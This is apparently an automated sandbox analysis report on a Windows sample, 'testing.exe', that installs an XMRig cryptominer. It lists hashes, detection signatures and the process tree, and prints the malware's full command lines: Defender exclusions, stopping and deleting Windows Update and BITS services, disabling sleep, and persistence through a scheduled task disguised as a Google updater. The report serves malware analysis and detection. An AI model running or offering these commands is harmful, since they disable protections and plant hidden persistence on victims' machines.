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230329-1c2enaaa35 10Analysis
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max time kernel
1299s -
max time network
1792s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
30-03-2023 17:02
Static task
static1
Behavioral task
behavioral1
Sample
testing.exe
Resource
win7-20230220-en
General
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Target
testing.exe
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Size
2.1MB
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MD5
a12bc9557ad889a49e7b4f970c78dda8
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SHA1
5383b8e6d09d41384281b95f9ccc8e050e7c04fa
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SHA256
9940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
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SHA512
be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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SSDEEP
24576:MHOygNfXDgkB9Y+AVIGckFdi3MUxbw+0AX4xVILyqe7keglf9BHHpRNt05sJNuI6:MuhBSda2+0+4xKLyqewBnfNwsJNO
Malware Config
Signatures
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Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
Processes:
testing.exeupdater.execonhost.exedescription pid process target process PID 1760 created 1212 1760 testing.exe Explorer.EXE PID 1760 created 1212 1760 testing.exe Explorer.EXE PID 1760 created 1212 1760 testing.exe Explorer.EXE PID 1760 created 1212 1760 testing.exe Explorer.EXE PID 1760 created 1212 1760 testing.exe Explorer.EXE PID 896 created 1212 896 updater.exe Explorer.EXE PID 896 created 1212 896 updater.exe Explorer.EXE PID 896 created 1212 896 updater.exe Explorer.EXE PID 896 created 1212 896 updater.exe Explorer.EXE PID 896 created 1212 896 updater.exe Explorer.EXE PID 1660 created 1212 1660 conhost.exe Explorer.EXE PID 896 created 1212 896 updater.exe Explorer.EXE PID 896 created 1212 896 updater.exe Explorer.EXE -
XMRig Miner payload 31 IoCs
Processes:
resource yara_rule behavioral1/memory/1488-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-139-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-141-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-143-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-145-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-147-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-149-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-151-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-153-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-155-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-157-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-159-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-161-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-163-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-165-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1488-167-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
testing.exeupdater.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts testing.exe File created C:\Windows\System32\drivers\etc\hosts updater.exe -
Stops running service(s) 3 TTPs
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Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 896 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1004 taskeng.exe -
Processes:
resource yara_rule behavioral1/memory/1488-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-139-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-141-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-143-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-145-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-147-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-149-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-151-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-153-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-155-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-157-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-159-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-161-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-163-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-165-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1488-167-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 896 set thread context of 1660 896 updater.exe conhost.exe PID 896 set thread context of 1488 896 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
testing.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe testing.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 516 sc.exe 1352 sc.exe 1008 sc.exe 1632 sc.exe 516 sc.exe 1956 sc.exe 1152 sc.exe 1112 sc.exe 1352 sc.exe 1624 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f02c213a3a63d901 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 31 IoCs
Processes:
testing.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1760 testing.exe 1760 testing.exe 1680 powershell.exe 1760 testing.exe 1760 testing.exe 1760 testing.exe 1760 testing.exe 1760 testing.exe 1760 testing.exe 588 powershell.exe 1760 testing.exe 1760 testing.exe 1948 powershell.exe 896 updater.exe 896 updater.exe 1400 powershell.exe 896 updater.exe 896 updater.exe 896 updater.exe 896 updater.exe 896 updater.exe 896 updater.exe 672 powershell.exe 896 updater.exe 896 updater.exe 1660 conhost.exe 1660 conhost.exe 896 updater.exe 896 updater.exe 896 updater.exe 896 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 39 IoCs
Processes:
powershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 1680 powershell.exe Token: SeShutdownPrivilege 1724 powercfg.exe Token: SeDebugPrivilege 588 powershell.exe Token: SeShutdownPrivilege 540 powercfg.exe Token: SeShutdownPrivilege 2012 powercfg.exe Token: SeShutdownPrivilege 1556 powercfg.exe Token: SeDebugPrivilege 1948 powershell.exe Token: SeDebugPrivilege 1400 powershell.exe Token: SeShutdownPrivilege 320 powercfg.exe Token: SeShutdownPrivilege 1300 powercfg.exe Token: SeShutdownPrivilege 1956 powercfg.exe Token: SeDebugPrivilege 672 powershell.exe Token: SeShutdownPrivilege 892 powercfg.exe Token: SeDebugPrivilege 896 updater.exe Token: SeAssignPrimaryTokenPrivilege 1960 WMIC.exe Token: SeIncreaseQuotaPrivilege 1960 WMIC.exe Token: SeSecurityPrivilege 1960 WMIC.exe Token: SeTakeOwnershipPrivilege 1960 WMIC.exe Token: SeLoadDriverPrivilege 1960 WMIC.exe Token: SeSystemtimePrivilege 1960 WMIC.exe Token: SeBackupPrivilege 1960 WMIC.exe Token: SeRestorePrivilege 1960 WMIC.exe Token: SeShutdownPrivilege 1960 WMIC.exe Token: SeSystemEnvironmentPrivilege 1960 WMIC.exe Token: SeUndockPrivilege 1960 WMIC.exe Token: SeManageVolumePrivilege 1960 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1960 WMIC.exe Token: SeIncreaseQuotaPrivilege 1960 WMIC.exe Token: SeSecurityPrivilege 1960 WMIC.exe Token: SeTakeOwnershipPrivilege 1960 WMIC.exe Token: SeLoadDriverPrivilege 1960 WMIC.exe Token: SeSystemtimePrivilege 1960 WMIC.exe Token: SeBackupPrivilege 1960 WMIC.exe Token: SeRestorePrivilege 1960 WMIC.exe Token: SeShutdownPrivilege 1960 WMIC.exe Token: SeSystemEnvironmentPrivilege 1960 WMIC.exe Token: SeUndockPrivilege 1960 WMIC.exe Token: SeManageVolumePrivilege 1960 WMIC.exe Token: SeLockMemoryPrivilege 1488 conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.execmd.exepowershell.exepowershell.exetaskeng.execmd.execmd.exedescription pid process target process PID 1924 wrote to memory of 1724 1924 cmd.exe powercfg.exe PID 1924 wrote to memory of 1724 1924 cmd.exe powercfg.exe PID 1924 wrote to memory of 1724 1924 cmd.exe powercfg.exe PID 1928 wrote to memory of 1956 1928 cmd.exe sc.exe PID 1928 wrote to memory of 1956 1928 cmd.exe sc.exe PID 1928 wrote to memory of 1956 1928 cmd.exe sc.exe PID 1928 wrote to memory of 516 1928 cmd.exe sc.exe PID 1928 wrote to memory of 516 1928 cmd.exe sc.exe PID 1928 wrote to memory of 516 1928 cmd.exe sc.exe PID 1924 wrote to memory of 540 1924 cmd.exe powercfg.exe PID 1924 wrote to memory of 540 1924 cmd.exe powercfg.exe PID 1924 wrote to memory of 540 1924 cmd.exe powercfg.exe PID 1928 wrote to memory of 1352 1928 cmd.exe sc.exe PID 1928 wrote to memory of 1352 1928 cmd.exe sc.exe PID 1928 wrote to memory of 1352 1928 cmd.exe sc.exe PID 1924 wrote to memory of 2012 1924 cmd.exe powercfg.exe PID 1924 wrote to memory of 2012 1924 cmd.exe powercfg.exe PID 1924 wrote to memory of 2012 1924 cmd.exe powercfg.exe PID 1928 wrote to memory of 1008 1928 cmd.exe sc.exe PID 1928 wrote to memory of 1008 1928 cmd.exe sc.exe PID 1928 wrote to memory of 1008 1928 cmd.exe sc.exe PID 1924 wrote to memory of 1556 1924 cmd.exe powercfg.exe PID 1924 wrote to memory of 1556 1924 cmd.exe powercfg.exe PID 1924 wrote to memory of 1556 1924 cmd.exe powercfg.exe PID 1928 wrote to memory of 1624 1928 cmd.exe sc.exe PID 1928 wrote to memory of 1624 1928 cmd.exe sc.exe PID 1928 wrote to memory of 1624 1928 cmd.exe sc.exe PID 1928 wrote to memory of 800 1928 cmd.exe reg.exe PID 1928 wrote to memory of 800 1928 cmd.exe reg.exe PID 1928 wrote to memory of 800 1928 cmd.exe reg.exe PID 1928 wrote to memory of 768 1928 cmd.exe reg.exe PID 1928 wrote to memory of 768 1928 cmd.exe reg.exe PID 1928 wrote to memory of 768 1928 cmd.exe reg.exe PID 1928 wrote to memory of 1388 1928 cmd.exe reg.exe PID 1928 wrote to memory of 1388 1928 cmd.exe reg.exe PID 1928 wrote to memory of 1388 1928 cmd.exe reg.exe PID 588 wrote to memory of 1960 588 powershell.exe schtasks.exe PID 588 wrote to memory of 1960 588 powershell.exe schtasks.exe PID 588 wrote to memory of 1960 588 powershell.exe schtasks.exe PID 1928 wrote to memory of 860 1928 cmd.exe reg.exe PID 1928 wrote to memory of 860 1928 cmd.exe reg.exe PID 1928 wrote to memory of 860 1928 cmd.exe reg.exe PID 1928 wrote to memory of 836 1928 cmd.exe reg.exe PID 1928 wrote to memory of 836 1928 cmd.exe reg.exe PID 1928 wrote to memory of 836 1928 cmd.exe reg.exe PID 1948 wrote to memory of 1784 1948 powershell.exe schtasks.exe PID 1948 wrote to memory of 1784 1948 powershell.exe schtasks.exe PID 1948 wrote to memory of 1784 1948 powershell.exe schtasks.exe PID 1004 wrote to memory of 896 1004 taskeng.exe updater.exe PID 1004 wrote to memory of 896 1004 taskeng.exe updater.exe PID 1004 wrote to memory of 896 1004 taskeng.exe updater.exe PID 1468 wrote to memory of 320 1468 cmd.exe powercfg.exe PID 1468 wrote to memory of 320 1468 cmd.exe powercfg.exe PID 1468 wrote to memory of 320 1468 cmd.exe powercfg.exe PID 556 wrote to memory of 1632 556 cmd.exe sc.exe PID 556 wrote to memory of 1632 556 cmd.exe sc.exe PID 556 wrote to memory of 1632 556 cmd.exe sc.exe PID 1468 wrote to memory of 1300 1468 cmd.exe powercfg.exe PID 1468 wrote to memory of 1300 1468 cmd.exe powercfg.exe PID 1468 wrote to memory of 1300 1468 cmd.exe powercfg.exe PID 1468 wrote to memory of 1956 1468 cmd.exe powercfg.exe PID 1468 wrote to memory of 1956 1468 cmd.exe powercfg.exe PID 1468 wrote to memory of 1956 1468 cmd.exe powercfg.exe PID 1468 wrote to memory of 892 1468 cmd.exe powercfg.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\testing.exe"C:\Users\Admin\AppData\Local\Temp\testing.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#mibqiuc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe piwxkhozdwrizr2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe ajhvfdbttvpjvzel 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUDVw9rZbme/VWRaCGMVy5A4KWmOYusR4Ik0iMHdgwpNOcjbYY5GHdN0CGOwXnubuj1k8SXyOPHLg/wcO08HTPQBCprXvYsSFocqjzqXvCOk3makNm0IivIoZ1KZt2YxT6Ci+BE7B/M5vRdKOrAlIyiTLPowHv2xwlgKELrnhNzBo4cDejdbTidr1qPNdTi4IwjcYnuD1ZGEEk854175l0vqhgS0J4NKy9OfqC4ZDiL7DMzbXsHZBHh2Jw55sStIs/MAZNnhxYjBZpkoZpwPghg6VnLEX8RYirlFk+ArUNG/2+FGzSRQ3kSkHyDV437Fza2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {E0658B7E-28E3-46A1-9B2D-263F3EFAB71C} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
SHA512be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
